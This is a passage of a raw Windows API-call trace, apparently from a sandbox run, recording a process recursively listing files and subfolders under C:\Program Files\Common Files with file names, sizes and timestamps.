ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0272.443] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0272.443] GetLastError () returned 0x5 [0272.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.443] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.443] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0272.443] GetLastError () returned 0x5 [0272.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0272.444] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.444] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0272.444] GetLastError () returned 0x5 [0272.444] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0272.444] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0272.444] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x359c908 | out: hHeap=0x1c0000) returned 1 [0272.444] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0272.444] GetLastError () returned 0x12 [0272.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0272.452] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.452] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0272.452] GetLastError () returned 0x12 [0272.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.453] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.453] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0272.453] GetLastError () returned 0x12 [0272.453] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0272.453] GetLastError () returned 0x12 [0272.453] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0272.453] GetLastError () returned 0x12 [0272.453] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0272.453] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.453] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.453] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0272.453] GetLastError () returned 0x12 [0272.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.454] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.454] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0272.454] GetLastError () returned 0x12 [0272.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.455] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.455] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0272.455] GetLastError () returned 0x12 [0272.455] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0272.455] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.455] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.456] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0272.456] GetLastError () returned 0x12 [0272.456] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0272.456] GetLastError () returned 0x12 [0272.456] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0272.456] GetLastError () returned 0x12 [0272.456] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0272.456] GetLastError () returned 0x12 [0272.456] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0272.456] GetLastError () returned 0x12 [0272.456] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0272.456] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.456] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.456] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0272.456] GetLastError () returned 0x12 [0272.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.457] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.457] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0272.457] GetLastError () returned 0x12 [0272.457] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0272.457] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.457] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.457] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0272.457] GetLastError () returned 0x12 [0272.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.458] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.458] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0272.458] GetLastError () returned 0x12 [0272.458] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0272.458] GetLastError () returned 0x12 [0272.458] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0272.459] GetLastError () returned 0x12 [0272.459] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, 